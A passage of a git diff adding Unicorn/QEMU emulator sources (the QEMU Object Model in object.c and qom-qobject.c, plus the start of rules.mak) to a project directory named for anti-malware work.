obj->class_ = type->class; + object_ref(obj); + QTAILQ_INIT(&obj->properties); + object_init_with_type(uc, obj, type); + object_post_init_with_type(uc, obj, type); +} + +void object_initialize(struct uc_struct *uc, void *data, size_t size, const char *typename) +{ + TypeImpl *type = type_get_by_name(uc, typename); + + object_initialize_with_type(uc, data, size, type); +} + +static inline bool object_property_is_child(ObjectProperty *prop) +{ + return strstart(prop->type, "child<", NULL); +} + +static void object_property_del_all(struct uc_struct *uc, Object *obj) +{ + while (!QTAILQ_EMPTY(&obj->properties)) { + ObjectProperty *prop = QTAILQ_FIRST(&obj->properties); + + QTAILQ_REMOVE(&obj->properties, prop, node); + + if (prop->release) { + prop->release(uc, obj, prop->name, prop->opaque); + } + + g_free(prop->name); + g_free(prop->type); + g_free(prop->description); + g_free(prop); + } +} + +void object_property_del_child(struct uc_struct *uc, Object *obj, Object *child, Error **errp) +{ + ObjectProperty *prop; + + QTAILQ_FOREACH(prop, &obj->properties, node) { + if (object_property_is_child(prop) && prop->opaque == child) { + object_property_del(uc, obj, prop->name, errp); + break; + } + } +} + +void object_unparent(struct uc_struct *uc, Object *obj) +{ + if (obj->parent) { + object_property_del_child(uc, obj->parent, obj, NULL); + } +} + +static void object_deinit(struct uc_struct *uc, Object *obj, TypeImpl *type) +{ + if (type->instance_finalize) { + type->instance_finalize(uc, obj, type->instance_userdata); + } + + if (type_has_parent(type)) { + object_deinit(uc, obj, type_get_parent(uc, type)); + } +} + +static void object_finalize(struct uc_struct *uc, void *data) +{ + Object *obj = data; + TypeImpl *ti = obj->class_->type; + + object_property_del_all(uc, obj); + object_deinit(uc, obj, ti); + + g_assert(obj->ref == 0); + if (obj->free) { + obj->free(obj); + } +} + +static Object *object_new_with_type(struct uc_struct *uc, Type type) +{ + Object *obj; + + g_assert(type != NULL); + type_initialize(uc, type); + + obj = g_malloc(type->instance_size); + object_initialize_with_type(uc, obj, type->instance_size, type); + obj->free = g_free; + + return obj; +} + +Object *object_new(struct uc_struct *uc, const char *typename) +{ + TypeImpl *ti = type_get_by_name(uc, typename); + + return object_new_with_type(uc, ti); +} + +Object *object_dynamic_cast(struct uc_struct *uc, Object *obj, const char *typename) +{ + if (obj && object_class_dynamic_cast(uc, object_get_class(obj), typename)) { + return obj; + } + + return NULL; +} + +Object *object_dynamic_cast_assert(struct uc_struct *uc, Object *obj, const char *typename, + const char *file, int line, const char *func) +{ +#ifdef CONFIG_QOM_CAST_DEBUG + int i; + Object *inst; + + for (i = 0; obj && i < OBJECT_CLASS_CAST_CACHE; i++) { + if (obj->class->object_cast_cache[i] == typename) { + goto out; + } + } + + inst = object_dynamic_cast(uc, obj, typename); + + if (!inst && obj) { + fprintf(stderr, "%s:%d:%s: Object %p is not an instance of type %s\n", + file, line, func, obj, typename); + abort(); + } + + assert(obj == inst); + + if (obj && obj == inst) { + for (i = 1; i < OBJECT_CLASS_CAST_CACHE; i++) { + obj->class->object_cast_cache[i - 1] = + obj->class->object_cast_cache[i]; + } + obj->class->object_cast_cache[i - 1] = typename; + } + +out: +#endif + return obj; +} + +ObjectClass *object_class_dynamic_cast(struct uc_struct *uc, ObjectClass *class, + const char *typename) +{ + ObjectClass *ret = NULL; + TypeImpl *target_type; + TypeImpl *type; + + if (!class) { + return NULL; + } + + /* A simple fast path that can trigger a lot for leaf classes. */ + type = class->type; + if (type->name == typename) { + return class; + } + + target_type = type_get_by_name(uc, typename); + if (!target_type) { + /* target class type unknown, so fail the cast */ + return NULL; + } + + if (type->class->interfaces && + type_is_ancestor(uc, target_type, uc->type_interface)) { + int found = 0; + GSList *i; + + for (i = class->interfaces; i; i = i->next) { + ObjectClass *target_class = i->data; + + if (type_is_ancestor(uc, target_class->type, target_type)) { + ret = target_class; + found++; + } + } + + /* The match was ambiguous, don't allow a cast */ + if (found > 1) { + ret = NULL; + } + } else if (type_is_ancestor(uc, type, target_type)) { + ret = class; + } + + return ret; +} + +ObjectClass *object_class_dynamic_cast_assert(struct uc_struct *uc, ObjectClass *class, + const char *typename, + const char *file, int line, + const char *func) +{ + ObjectClass *ret; + +#ifdef CONFIG_QOM_CAST_DEBUG + int i; + + for (i = 0; class && i < OBJECT_CLASS_CAST_CACHE; i++) { + if (class->class_cast_cache[i] == typename) { + ret = class; + goto out; + } + } +#else + if (!class || !class->interfaces) { + return class; + } +#endif + + ret = object_class_dynamic_cast(uc, class, typename); + if (!ret && class) { + fprintf(stderr, "%s:%d:%s: Object %p is not an instance of type %s\n", + file, line, func, class, typename); + abort(); + } + +#ifdef CONFIG_QOM_CAST_DEBUG + if (class && ret == class) { + for (i = 1; i < OBJECT_CLASS_CAST_CACHE; i++) { + class->class_cast_cache[i - 1] = class->class_cast_cache[i]; + } + class->class_cast_cache[i - 1] = typename; + } +out: +#endif + return ret; +} + +const char *object_get_typename(Object *obj) +{ + return obj->class_->type->name; +} + +ObjectClass *object_get_class(Object *obj) +{ + return obj->class_; +} + +bool object_class_is_abstract(ObjectClass *klass) +{ + return klass->type->abstract; +} + +const char *object_class_get_name(ObjectClass *klass) +{ + return klass->type->name; +} + +ObjectClass *object_class_by_name(struct uc_struct *uc, const char *typename) +{ + TypeImpl *type = type_get_by_name(uc, typename); + + if (!type) { + return NULL; + } + + type_initialize(uc, type); + + return type->class; +} + +ObjectClass *object_class_get_parent(struct uc_struct *uc, ObjectClass *class) +{ + TypeImpl *type = type_get_parent(uc, class->type); + + if (!type) { + return NULL; + } + + type_initialize(uc, type); + + return type->class; +} + +typedef struct OCFData +{ + void (*fn)(ObjectClass *klass, void *opaque); + const char *implements_type; + bool include_abstract; + void *opaque; + struct uc_struct *uc; +} OCFData; + +static void object_class_foreach_tramp(gpointer key, gpointer value, + gpointer opaque) +{ + OCFData *data = opaque; + TypeImpl *type = value; + ObjectClass *k; + + type_initialize(data->uc, type); + k = type->class; + + if (!data->include_abstract && type->abstract) { + return; + } + + if (data->implements_type && + !object_class_dynamic_cast(data->uc, k, data->implements_type)) { + return; + } + + data->fn(k, data->opaque); +} + +void object_class_foreach(struct uc_struct *uc, void (*fn)(ObjectClass *klass, void *opaque), + const char *implements_type, bool include_abstract, + void *opaque) +{ + OCFData data = { fn, implements_type, include_abstract, opaque, uc }; + + uc->enumerating_types = true; + g_hash_table_foreach(type_table_get(uc), object_class_foreach_tramp, &data); + uc->enumerating_types = false; +} + +int object_child_foreach(Object *obj, int (*fn)(Object *child, void *opaque), + void *opaque) +{ + ObjectProperty *prop, *next; + int ret = 0; + + QTAILQ_FOREACH_SAFE(prop, &obj->properties, node, next) { + if (object_property_is_child(prop)) { + ret = fn(prop->opaque, opaque); + if (ret != 0) { + break; + } + } + } + return ret; +} + +static void object_class_get_list_tramp(ObjectClass *klass, void *opaque) +{ + GSList **list = opaque; + + *list = g_slist_prepend(*list, klass); +} + +GSList *object_class_get_list(struct uc_struct *uc, const char *implements_type, + bool include_abstract) +{ + GSList *list = NULL; + + object_class_foreach(uc, object_class_get_list_tramp, + implements_type, include_abstract, &list); + return list; +} + +void object_ref(Object *obj) +{ + if (!obj) { + return; + } + atomic_inc(&obj->ref); +} + +void object_unref(struct uc_struct *uc, Object *obj) +{ + if (!obj) { + return; + } + g_assert(obj->ref > 0); + + /* parent always holds a reference to its children */ + if (atomic_fetch_dec(&obj->ref) == 1) { + object_finalize(uc, obj); + } +} + +ObjectProperty * +object_property_add(Object *obj, const char *name, const char *type, + ObjectPropertyAccessor *get, + ObjectPropertySetAccessor *set, + ObjectPropertyRelease *release, + void *opaque, Error **errp) +{ + ObjectProperty *prop; + size_t name_len = strlen(name); + + if (name_len >= 3 && !memcmp(name + name_len - 3, "[*]", 4)) { + int i; + ObjectProperty *ret; + char *name_no_array = g_strdup(name); + + name_no_array[name_len - 3] = '\0'; + for (i = 0; ; ++i) { + char *full_name = g_strdup_printf("%s[%d]", name_no_array, i); + + ret = object_property_add(obj, full_name, type, get, set, + release, opaque, NULL); + g_free(full_name); + if (ret) { + break; + } + } + g_free(name_no_array); + return ret; + } + + QTAILQ_FOREACH(prop, &obj->properties, node) { + if (strcmp(prop->name, name) == 0) { + error_setg(errp, "attempt to add duplicate property '%s'" + " to object (type '%s')", name, + object_get_typename(obj)); + return NULL; + } + } + + prop = g_malloc0(sizeof(*prop)); + + prop->name = g_strdup(name); + prop->type = g_strdup(type); + + prop->get = get; + prop->set = set; + prop->release = release; + prop->opaque = opaque; + + QTAILQ_INSERT_TAIL(&obj->properties, prop, node); + return prop; +} + +ObjectProperty *object_property_find(Object *obj, const char *name, + Error **errp) +{ + ObjectProperty *prop; + + QTAILQ_FOREACH(prop, &obj->properties, node) { + if (strcmp(prop->name, name) == 0) { + return prop; + } + } + + error_setg(errp, "Property '.%s' not found", name); + return NULL; +} + +void object_property_del(struct uc_struct *uc, Object *obj, const char *name, Error **errp) +{ + ObjectProperty *prop = object_property_find(obj, name, errp); + if (prop == NULL) { + return; + } + + if (prop->release) { + prop->release(uc, obj, name, prop->opaque); + } + + QTAILQ_REMOVE(&obj->properties, prop, node); + + g_free(prop->name); + g_free(prop->type); + g_free(prop->description); + g_free(prop); +} + +void object_property_get(struct uc_struct *uc, Object *obj, Visitor *v, const char *name, + Error **errp) +{ + ObjectProperty *prop = object_property_find(obj, name, errp); + if (prop == NULL) { + return; + } + + if (!prop->get) { + error_set(errp, QERR_PERMISSION_DENIED); + } else { + prop->get(uc, obj, v, prop->opaque, name, errp); + } +} + +void object_property_set(struct uc_struct *uc, Object *obj, Visitor *v, const char *name, + Error **errp) +{ + ObjectProperty *prop = object_property_find(obj, name, errp); + if (prop == NULL) { + return; + } + + if (!prop->set) { + error_set(errp, QERR_PERMISSION_DENIED); + } else { + if (prop->set(uc, obj, v, prop->opaque, name, errp)) + error_set(errp, QERR_UNDEFINED_ERROR); + } +} + +void object_property_set_str(struct uc_struct *uc, Object *obj, const char *value, + const char *name, Error **errp) +{ + QString *qstr = qstring_from_str(value); + object_property_set_qobject(uc, obj, QOBJECT(qstr), name, errp); + + QDECREF(qstr); +} + +char *object_property_get_str(struct uc_struct *uc, Object *obj, const char *name, + Error **errp) +{ + QObject *ret = object_property_get_qobject(uc, obj, name, errp); + QString *qstring; + char *retval; + + if (!ret) { + return NULL; + } + qstring = qobject_to_qstring(ret); + if (!qstring) { + error_set(errp, QERR_INVALID_PARAMETER_TYPE, name, "string"); + retval = NULL; + } else { + retval = g_strdup(qstring_get_str(qstring)); + } + + QDECREF(qstring); + return retval; +} + +void object_property_set_link(struct uc_struct *uc, Object *obj, Object *value, + const char *name, Error **errp) +{ + if (value) { + gchar *path = object_get_canonical_path(value); + object_property_set_str(uc, obj, path, name, errp); + g_free(path); + } else { + object_property_set_str(uc, obj, "", name, errp); + } +} + +Object *object_property_get_link(struct uc_struct *uc, Object *obj, const char *name, + Error **errp) +{ + char *str = object_property_get_str(uc, obj, name, errp); + Object *target = NULL; + + if (str && *str) { + target = object_resolve_path(uc, str, NULL); + if (!target) { + error_set(errp, QERR_DEVICE_NOT_FOUND, str); + } + } + + g_free(str); + return target; +} + +void object_property_set_bool(struct uc_struct *uc, Object *obj, bool value, + const char *name, Error **errp) +{ + QBool *qbool = qbool_from_int(value); + object_property_set_qobject(uc, obj, QOBJECT(qbool), name, errp); + + QDECREF(qbool); +} + +bool object_property_get_bool(struct uc_struct *uc, Object *obj, const char *name, + Error **errp) +{ + QObject *ret = object_property_get_qobject(uc, obj, name, errp); + QBool *qbool; + bool retval; + + if (!ret) { + return false; + } + qbool = qobject_to_qbool(ret); + if (!qbool) { + error_set(errp, QERR_INVALID_PARAMETER_TYPE, name, "boolean"); + retval = false; + } else { + retval = qbool_get_int(qbool); + } + + QDECREF(qbool); + return retval; +} + +void object_property_set_int(struct uc_struct *uc, Object *obj, int64_t value, + const char *name, Error **errp) +{ + QInt *qint = qint_from_int(value); + object_property_set_qobject(uc, obj, QOBJECT(qint), name, errp); + + QDECREF(qint); +} + +int64_t object_property_get_int(struct uc_struct *uc, Object *obj, const char *name, + Error **errp) +{ + QObject *ret = object_property_get_qobject(uc, obj, name, errp); + QInt *qint; + int64_t retval; + + if (!ret) { + return -1; + } + qint = qobject_to_qint(ret); + if (!qint) { + error_set(errp, QERR_INVALID_PARAMETER_TYPE, name, "int"); + retval = -1; + } else { + retval = qint_get_int(qint); + } + + QDECREF(qint); + return retval; +} + +void object_property_parse(struct uc_struct *uc, Object *obj, const char *string, + const char *name, Error **errp) +{ + StringInputVisitor *mi; + mi = string_input_visitor_new(string); + object_property_set(uc, obj, string_input_get_visitor(mi), name, errp); + + string_input_visitor_cleanup(mi); +} + +const char *object_property_get_type(Object *obj, const char *name, Error **errp) +{ + ObjectProperty *prop = object_property_find(obj, name, errp); + if (prop == NULL) { + return NULL; + } + + return prop->type; +} + +Object *object_get_root(struct uc_struct *uc) +{ + if (!uc->root) { + uc->root = object_new(uc, "container"); + } + + return uc->root; +} + +static void object_get_child_property(struct uc_struct *uc, Object *obj, Visitor *v, void *opaque, + const char *name, Error **errp) +{ + Object *child = opaque; + gchar *path; + + path = object_get_canonical_path(child); + visit_type_str(v, &path, name, errp); + g_free(path); +} + +static Object *object_resolve_child_property(struct uc_struct *uc, Object *parent, void *opaque, const gchar *part) +{ + return opaque; +} + +static void object_finalize_child_property(struct uc_struct *uc, Object *obj, const char *name, + void *opaque) +{ + Object *child = opaque; + + if (child->class_->unparent) { + (child->class_->unparent)(uc, child); + } + child->parent = NULL; + object_unref(uc, child); +} + +void object_property_add_child(Object *obj, const char *name, + Object *child, Error **errp) +{ + Error *local_err = NULL; + gchar *type; + ObjectProperty *op; + + if (child->parent != NULL) { + error_setg(errp, "child object is already parented"); + return; + } + + type = g_strdup_printf("child<%s>", object_get_typename(OBJECT(child))); + + op = object_property_add(obj, name, type, object_get_child_property, NULL, + object_finalize_child_property, child, &local_err); + if (local_err) { + error_propagate(errp, local_err); + goto out; + } + + op->resolve = object_resolve_child_property; + object_ref(child); + child->parent = obj; + +out: + g_free(type); +} + +void object_property_allow_set_link(Object *obj, const char *name, + Object *val, Error **errp) +{ + /* Allow the link to be set, always */ +} + +typedef struct { + Object **child; + void (*check)(Object *, const char *, Object *, Error **); + ObjectPropertyLinkFlags flags; +} LinkProperty; + +static void object_get_link_property(struct uc_struct *uc, Object *obj, Visitor *v, void *opaque, + const char *name, Error **errp) +{ + LinkProperty *lprop = opaque; + Object **child = lprop->child; + gchar *path; + + if (*child) { + path = object_get_canonical_path(*child); + visit_type_str(v, &path, name, errp); + g_free(path); + } else { + path = (gchar *)""; + visit_type_str(v, &path, name, errp); + } +} + +/* + * object_resolve_link: + * + * Lookup an object and ensure its type matches the link property type. This + * is similar to object_resolve_path() except type verification against the + * link property is performed. + * + * Returns: The matched object or NULL on path lookup failures. + */ +static Object *object_resolve_link(struct uc_struct *uc, Object *obj, const char *name, + const char *path, Error **errp) +{ + const char *type; + gchar *target_type; + bool ambiguous = false; + Object *target; + + /* Go from link to FOO. */ + type = object_property_get_type(obj, name, NULL); + target_type = g_strndup(&type[5], strlen(type) - 6); + target = object_resolve_path_type(uc, path, target_type, &ambiguous); + + if (ambiguous) { + error_set(errp, ERROR_CLASS_GENERIC_ERROR, + "Path '%s' does not uniquely identify an object", path); + } else if (!target) { + target = object_resolve_path(uc, path, &ambiguous); + if (target || ambiguous) { + error_set(errp, QERR_INVALID_PARAMETER_TYPE, name, target_type); + } else { + error_set(errp, QERR_DEVICE_NOT_FOUND, path); + } + target = NULL; + } + g_free(target_type); + + return target; +} + +static int object_set_link_property(struct uc_struct *uc, Object *obj, Visitor *v, void *opaque, + const char *name, Error **errp) +{ + Error *local_err = NULL; + LinkProperty *prop = opaque; + Object **child = prop->child; + Object *old_target = *child; + Object *new_target = NULL; + char *path = NULL; + + visit_type_str(v, &path, name, &local_err); + + if (!local_err && strcmp(path, "") != 0) { + new_target = object_resolve_link(uc, obj, name, path, &local_err); + } + + g_free(path); + if (local_err) { + error_propagate(errp, local_err); + return -1; + } + + prop->check(obj, name, new_target, &local_err); + if (local_err) { + error_propagate(errp, local_err); + return -1; + } + + object_ref(new_target); + *child = new_target; + object_unref(uc, old_target); + + return 0; +} + +static Object *object_resolve_link_property(struct uc_struct *uc, Object *parent, void *opaque, const gchar *part) +{ + LinkProperty *lprop = opaque; + + return *lprop->child; +} + +static void object_release_link_property(struct uc_struct *uc, Object *obj, const char *name, + void *opaque) +{ + LinkProperty *prop = opaque; + + if ((prop->flags & OBJ_PROP_LINK_UNREF_ON_RELEASE) && *prop->child) { + object_unref(uc, *prop->child); + } + g_free(prop); +} + +void object_property_add_link(Object *obj, const char *name, + const char *type, Object **child, + void (*check)(Object *, const char *, + Object *, Error **), + ObjectPropertyLinkFlags flags, + Error **errp) +{ + Error *local_err = NULL; + LinkProperty *prop = g_malloc(sizeof(*prop)); + gchar *full_type; + ObjectProperty *op; + + prop->child = child; + prop->check = check; + prop->flags = flags; + + full_type = g_strdup_printf("link<%s>", type); + + op = object_property_add(obj, name, full_type, + object_get_link_property, + check ? object_set_link_property : NULL, + object_release_link_property, + prop, + &local_err); + if (local_err) { + error_propagate(errp, local_err); + g_free(prop); + goto out; + } + + op->resolve = object_resolve_link_property; + +out: + g_free(full_type); +} + +gchar *object_get_canonical_path_component(Object *obj) +{ + ObjectProperty *prop = NULL; + + g_assert(obj); + g_assert(obj->parent != NULL); + + QTAILQ_FOREACH(prop, &obj->parent->properties, node) { + if (!object_property_is_child(prop)) { + continue; + } + + if (prop->opaque == obj) { + return g_strdup(prop->name); + } + } + + /* obj had a parent but was not a child, should never happen */ + g_assert_not_reached(); + return NULL; +} + +gchar *object_get_canonical_path(Object *obj) +{ + Object *root = object_get_root(NULL); + char *newpath, *path = NULL; + + while (obj != root) { + char *component = object_get_canonical_path_component(obj); + + if (path) { + newpath = g_strdup_printf("%s/%s", component, path); + g_free(component); + g_free(path); + path = newpath; + } else { + path = component; + } + + obj = obj->parent; + } + + newpath = g_strdup_printf("/%s", path ? path : ""); + g_free(path); + + return newpath; +} + +Object *object_resolve_path_component(struct uc_struct *uc, Object *parent, const gchar *part) +{ + ObjectProperty *prop = object_property_find(parent, part, NULL); + if (prop == NULL) { + return NULL; + } + + if (prop->resolve) { + return prop->resolve(uc, parent, prop->opaque, part); + } else { + return NULL; + } +} + +static Object *object_resolve_abs_path(struct uc_struct *uc, Object *parent, + gchar **parts, + const char *typename, + int index) +{ + Object *child; + + if (parts[index] == NULL) { + return object_dynamic_cast(uc, parent, typename); + } + + if (strcmp(parts[index], "") == 0) { + return object_resolve_abs_path(uc, parent, parts, typename, index + 1); + } + + child = object_resolve_path_component(uc, parent, parts[index]); + if (!child) { + return NULL; + } + + return object_resolve_abs_path(uc, child, parts, typename, index + 1); +} + +static Object *object_resolve_partial_path(struct uc_struct *uc, Object *parent, + gchar **parts, + const char *typename, + bool *ambiguous) +{ + Object *obj; + ObjectProperty *prop; + + obj = object_resolve_abs_path(uc, parent, parts, typename, 0); + + QTAILQ_FOREACH(prop, &parent->properties, node) { + Object *found; + + if (!object_property_is_child(prop)) { + continue; + } + + found = object_resolve_partial_path(uc, prop->opaque, parts, + typename, ambiguous); + if (found) { + if (obj) { + if (ambiguous) { + *ambiguous = true; + } + return NULL; + } + obj = found; + } + + if (ambiguous && *ambiguous) { + return NULL; + } + } + + return obj; +} + +Object *object_resolve_path_type(struct uc_struct *uc, const char *path, const char *typename, + bool *ambiguous) +{ + Object *obj; + gchar **parts; + + parts = g_strsplit(path, "/", 0); + assert(parts); + + if (parts[0] == NULL || strcmp(parts[0], "") != 0) { + if (ambiguous) { + *ambiguous = false; + } + obj = object_resolve_partial_path(uc, object_get_root(NULL), parts, + typename, ambiguous); + } else { + obj = object_resolve_abs_path(uc, object_get_root(NULL), parts, typename, 1); + } + + g_strfreev(parts); + + return obj; +} + +Object *object_resolve_path(struct uc_struct *uc, const char *path, bool *ambiguous) +{ + return object_resolve_path_type(uc, path, TYPE_OBJECT, ambiguous); +} + +typedef struct StringProperty +{ + char *(*get)(struct uc_struct *uc, Object *, Error **); + int (*set)(struct uc_struct *uc, Object *, const char *, Error **); +} StringProperty; + +static void property_get_str(struct uc_struct *uc, Object *obj, Visitor *v, void *opaque, + const char *name, Error **errp) +{ + StringProperty *prop = opaque; + char *value; + + value = prop->get(uc, obj, errp); + if (value) { + visit_type_str(v, &value, name, errp); + g_free(value); + } +} + +static int property_set_str(struct uc_struct *uc, Object *obj, Visitor *v, void *opaque, + const char *name, Error **errp) +{ + StringProperty *prop = opaque; + char *value; + Error *local_err = NULL; + + visit_type_str(v, &value, name, &local_err); + if (local_err) { + error_propagate(errp, local_err); + return -1; + } + + prop->set(uc, obj, value, errp); + g_free(value); + + return 0; +} + +static void property_release_str(struct uc_struct *uc, Object *obj, const char *name, + void *opaque) +{ + StringProperty *prop = opaque; + g_free(prop); +} + +void object_property_add_str(Object *obj, const char *name, + char *(*get)(struct uc_struct *uc, Object *, Error **), + int (*set)(struct uc_struct *uc, Object *, const char *, Error **), + Error **errp) +{ + Error *local_err = NULL; + StringProperty *prop = g_malloc0(sizeof(*prop)); + + prop->get = get; + prop->set = set; + + object_property_add(obj, name, "string", + get ? property_get_str : NULL, + set ? property_set_str : NULL, + property_release_str, + prop, &local_err); + if (local_err) { + error_propagate(errp, local_err); + g_free(prop); + } +} + +typedef struct BoolProperty +{ + bool (*get)(struct uc_struct *uc, Object *, Error **); + int (*set)(struct uc_struct *uc, Object *, bool, Error **); +} BoolProperty; + +static void property_get_bool(struct uc_struct *uc, Object *obj, Visitor *v, void *opaque, + const char *name, Error **errp) +{ + BoolProperty *prop = opaque; + bool value; + + value = prop->get(uc, obj, errp); + visit_type_bool(v, &value, name, errp); +} + +static int property_set_bool(struct uc_struct *uc, Object *obj, Visitor *v, void *opaque, + const char *name, Error **errp) +{ + BoolProperty *prop = opaque; + bool value; + Error *local_err = NULL; + + visit_type_bool(v, &value, name, &local_err); + if (local_err) { + error_propagate(errp, local_err); + return -1; + } + + return prop->set(uc, obj, value, errp); +} + +static void property_release_bool(struct uc_struct *uc, Object *obj, const char *name, + void *opaque) +{ + BoolProperty *prop = opaque; + g_free(prop); +} + +void object_property_add_bool(struct uc_struct *uc, Object *obj, const char *name, + bool (*get)(struct uc_struct *uc, Object *, Error **), + int (*set)(struct uc_struct *uc, Object *, bool, Error **), + Error **errp) +{ + Error *local_err = NULL; + BoolProperty *prop = g_malloc0(sizeof(*prop)); + + prop->get = get; + prop->set = set; + + object_property_add(obj, name, "bool", + get ? property_get_bool : NULL, + set ? property_set_bool : NULL, + property_release_bool, + prop, &local_err); + if (local_err) { + error_propagate(errp, local_err); + g_free(prop); + } +} + +static char *qdev_get_type(struct uc_struct *uc, Object *obj, Error **errp) +{ + return g_strdup(object_get_typename(obj)); +} + +static void property_get_uint8_ptr(struct uc_struct *uc, Object *obj, Visitor *v, + void *opaque, const char *name, + Error **errp) +{ + uint8_t value = *(uint8_t *)opaque; + visit_type_uint8(v, &value, name, errp); +} + +static void property_get_uint16_ptr(struct uc_struct *uc, Object *obj, Visitor *v, + void *opaque, const char *name, + Error **errp) +{ + uint16_t value = *(uint16_t *)opaque; + visit_type_uint16(v, &value, name, errp); +} + +static void property_get_uint32_ptr(struct uc_struct *uc, Object *obj, Visitor *v, + void *opaque, const char *name, + Error **errp) +{ + uint32_t value = *(uint32_t *)opaque; + visit_type_uint32(v, &value, name, errp); +} + +static void property_get_uint64_ptr(struct uc_struct *uc, Object *obj, Visitor *v, + void *opaque, const char *name, + Error **errp) +{ + uint64_t value = *(uint64_t *)opaque; + visit_type_uint64(v, &value, name, errp); +} + +void object_property_add_uint8_ptr(Object *obj, const char *name, + const uint8_t *v, Error **errp) +{ + object_property_add(obj, name, "uint8", property_get_uint8_ptr, + NULL, NULL, (void *)v, errp); +} + +void object_property_add_uint16_ptr(Object *obj, const char *name, + const uint16_t *v, Error **errp) +{ + object_property_add(obj, name, "uint16", property_get_uint16_ptr, + NULL, NULL, (void *)v, errp); +} + +void object_property_add_uint32_ptr(Object *obj, const char *name, + const uint32_t *v, Error **errp) +{ + object_property_add(obj, name, "uint32", property_get_uint32_ptr, + NULL, NULL, (void *)v, errp); +} + +void object_property_add_uint64_ptr(Object *obj, const char *name, + const uint64_t *v, Error **errp) +{ + object_property_add(obj, name, "uint64", property_get_uint64_ptr, + NULL, NULL, (void *)v, errp); +} + +typedef struct { + Object *target_obj; + const char *target_name; +} AliasProperty; + +static void property_get_alias(struct uc_struct *uc, Object *obj, struct Visitor *v, void *opaque, + const char *name, Error **errp) +{ + AliasProperty *prop = opaque; + + object_property_get(uc, prop->target_obj, v, prop->target_name, errp); +} + +static int property_set_alias(struct uc_struct *uc, Object *obj, struct Visitor *v, void *opaque, + const char *name, Error **errp) +{ + AliasProperty *prop = opaque; + + object_property_set(uc, prop->target_obj, v, prop->target_name, errp); + + return 0; +} + +static Object *property_resolve_alias(struct uc_struct *uc, Object *obj, void *opaque, + const gchar *part) +{ + AliasProperty *prop = opaque; + + return object_resolve_path_component(uc, prop->target_obj, prop->target_name); +} + +static void property_release_alias(struct uc_struct *uc, Object *obj, const char *name, void *opaque) +{ + AliasProperty *prop = opaque; + + g_free(prop); +} + +void object_property_add_alias(Object *obj, const char *name, + Object *target_obj, const char *target_name, + Error **errp) +{ + AliasProperty *prop; + ObjectProperty *op; + ObjectProperty *target_prop; + gchar *prop_type; + Error *local_err = NULL; + + target_prop = object_property_find(target_obj, target_name, errp); + if (!target_prop) { + return; + } + + if (object_property_is_child(target_prop)) { + prop_type = g_strdup_printf("link%s", + target_prop->type + strlen("child")); + } else { + prop_type = g_strdup(target_prop->type); + } + + prop = g_malloc(sizeof(*prop)); + prop->target_obj = target_obj; + prop->target_name = target_name; + + op = object_property_add(obj, name, prop_type, + property_get_alias, + property_set_alias, + property_release_alias, + prop, &local_err); + if (local_err) { + error_propagate(errp, local_err); + g_free(prop); + goto out; + } + op->resolve = property_resolve_alias; + + object_property_set_description(obj, name, + target_prop->description, + &error_abort); + +out: + g_free(prop_type); +} + +void object_property_set_description(Object *obj, const char *name, + const char *description, Error **errp) +{ + ObjectProperty *op; + + op = object_property_find(obj, name, errp); + if (!op) { + return; + } + + g_free(op->description); + op->description = g_strdup(description); +} + +static void object_instance_init(struct uc_struct *uc, Object *obj, void *opaque) +{ + object_property_add_str(obj, "type", qdev_get_type, NULL, NULL); +} + +void register_types_object(struct uc_struct *uc) +{ + static TypeInfo interface_info = { + TYPE_INTERFACE, // name + NULL, + + sizeof(InterfaceClass), // class_size + 0, + NULL, + + NULL, + NULL, + NULL, + + NULL, + + NULL, + NULL, + NULL, + + true, // abstract + }; + + static TypeInfo object_info = { + TYPE_OBJECT, + NULL, + + 0, + sizeof(Object), + NULL, + + object_instance_init, + NULL, + NULL, + + NULL, + + NULL, + NULL, + NULL, + + true, + }; + + uc->type_interface = type_register_internal(uc, &interface_info); + type_register_internal(uc, &object_info); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/qom/qom-qobject.c b/ai_anti_malware/unicorn/unicorn-master/qemu/qom/qom-qobject.c new file mode 100644 index 0000000..f1579ff --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/qom/qom-qobject.c @@ -0,0 +1,44 @@ +/* + * QEMU Object Model - QObject wrappers + * + * Copyright (C) 2012 Red Hat, Inc. + * + * Author: Paolo Bonzini + * + * This work is licensed under the terms of the GNU GPL, version 2 or later. + * See the COPYING file in the top-level directory. + */ + +#include "qemu-common.h" +#include "qom/object.h" +#include "qom/qom-qobject.h" +#include "qapi/visitor.h" +#include "qapi/qmp-input-visitor.h" +#include "qapi/qmp-output-visitor.h" + +void object_property_set_qobject(struct uc_struct *uc, Object *obj, QObject *value, + const char *name, Error **errp) +{ + QmpInputVisitor *mi; + mi = qmp_input_visitor_new(value); + object_property_set(uc, obj, qmp_input_get_visitor(mi), name, errp); // qq + + qmp_input_visitor_cleanup(mi); +} + +QObject *object_property_get_qobject(struct uc_struct *uc, Object *obj, const char *name, + Error **errp) +{ + QObject *ret = NULL; + Error *local_err = NULL; + QmpOutputVisitor *mo; + + mo = qmp_output_visitor_new(); + object_property_get(uc, obj, qmp_output_get_visitor(mo), name, &local_err); + if (!local_err) { + ret = qmp_output_get_qobject(mo); + } + error_propagate(errp, local_err); + qmp_output_visitor_cleanup(mo); + return ret; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/rules.mak b/ai_anti_malware/unicorn/unicorn-master/qemu/rules.mak new file mode 100644 index 0000000..d4144b6 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/rules.mak @@ -0,0 +1,361 @@ + +# Don't use implicit rules or variables +# we have explicit rules for everything +MAKEFLAGS += -rR + +# Files with this suffixes are final, don't try to generate them +# using implicit rules +%.d: +%.h: +%.c: +%.cc: +%.cpp: +%.m: +%.mak: + +# Flags for dependency generation +QEMU_DGFLAGS += -MMD -MP -MT $@ -MF $(*D)/$(*F).d + +# Same as -I$(SRC_PATH) -I., but for the nested source/object directories +QEMU_INCLUDES += -I$(/dev/null 2>&1 && echo OK), $2, $3) + +VPATH_SUFFIXES = %.c %.h %.S %.cc %.cpp %.m %.mak %.texi %.sh %.rc +set-vpath = $(if $1,$(foreach PATTERN,$(VPATH_SUFFIXES),$(eval vpath $(PATTERN) $1))) + +# install-prog list, dir +define install-prog + $(INSTALL_DIR) "$2" + $(INSTALL_PROG) $1 "$2" + $(if $(STRIP),$(STRIP) $(foreach T,$1,"$2/$(notdir $T)"),) +endef + +# find-in-path +# Usage: $(call find-in-path, prog) +# Looks in the PATH if the argument contains no slash, else only considers one +# specific directory. Returns an # empty string if the program doesn't exist +# there. +find-in-path = $(if $(find-string /, $1), \ + $(wildcard $1), \ + $(wildcard 